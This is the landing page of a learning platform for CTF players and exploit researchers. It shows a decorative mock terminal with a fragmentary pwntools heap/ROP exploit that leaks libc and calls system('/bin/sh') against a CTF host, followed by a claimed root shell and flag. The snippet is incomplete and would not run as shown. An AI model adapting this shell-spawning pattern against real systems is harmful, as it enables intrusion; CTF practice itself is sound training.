SYS.INDEX // LIVE FEEDS ACTIVE

Learn from
every flag.

The open platform where cybersecurity learners, CTF players, and exploit researchers dissect challenges, publish cryptographically verified walkthroughs, and level up together.

/
$ pwn_payload.py --verify
VERIFIED ZERO-DAY POC
# [TARGET] :: glibc-2.39 | heap groom + ret2dlresolve
from pwn import remote, p64, u64, ROP, ELF
target = remote('ctf.sec.kernel.io', 1337)
elf = ELF('./chall_vuln.bin')
01libc_leak = u64(target.recvline()[:8].ljust(8, b'\x00')) - 0x21b150
02rop = ROP(elf); rop.system(next(libc.search(b'/bin/sh')))
PIPE: /dev/pts/4PAYLOAD_STATUS: SENT (148 bytes)
[+] Got shell! UID=0(root) GID=0(root)
flag_dump>WHUB{k4slr_by_p4ss_h34p_st4ck_pwn3d_32b0}
Signed: ed25519:0x8fd2...b41aSHA-256 Validated

Trending Writeups

Peer-reviewed exploits, kernel bypasses, and verified solutions

View full directory